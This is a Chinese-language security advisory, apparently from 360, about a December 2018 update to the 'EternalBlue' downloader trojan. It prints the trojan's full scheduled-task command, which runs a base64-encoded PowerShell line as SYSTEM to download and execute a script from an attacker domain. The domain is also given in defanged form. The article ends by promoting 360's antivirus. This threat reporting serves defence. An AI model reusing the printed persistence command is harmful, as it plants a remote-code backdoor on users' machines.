中文版 Global
首页 > 安全资讯 > 正文

警报！“永恒之蓝”下载器木马再度更新！

  • 2018-12-19 17:23:16

前不久，360安全大脑预警了《驱动人生传播永恒之蓝下载器木马》，今天上午，“永恒之蓝”下载器木马再次更新。此次更新通过服务器调整云控指令，实现对木马下载模块的更新，这也体现出了此类下载器木马的灵活性—可随时更新木马组件。下图是新的攻击模块下载地址：


警报！“永恒之蓝”下载器木马再度更新！



这次更新的文件为之前的“永恒之蓝”漏洞攻击组件，保留了之前永恒之蓝漏洞攻击的模块，新增加一个powershell后门，同时更新了木马程序落地的名称。

其中powershell的后门通过注册一个计划任务实现：

命令行：C:WINDOWSsystem32cmd.exe /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:05:00 /tn "MicrosoftwindowsBluetooths" /tr "powershell -nop -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AcgAuAG0AaQBuAGkAYwBlAG4ALgBnAGEALwByAD8AcAAnACkA" /F

解码之后，利用powershell执行这一段脚本：'hxxp://r.minicen.ga/r?p'

目前看，这个域名刚刚注册，还没有做解析，后续可以通过这段脚本，长期驻留用户计算机，下发攻击脚本。


警报！“永恒之蓝”下载器木马再度更新！



使用360安全卫士的用户无须担心，360安全卫士可拦截和查杀此类木马和后门。


警报！“永恒之蓝”下载器木马再度更新！


360安全卫士

热点排行

用户
反馈 返回
顶部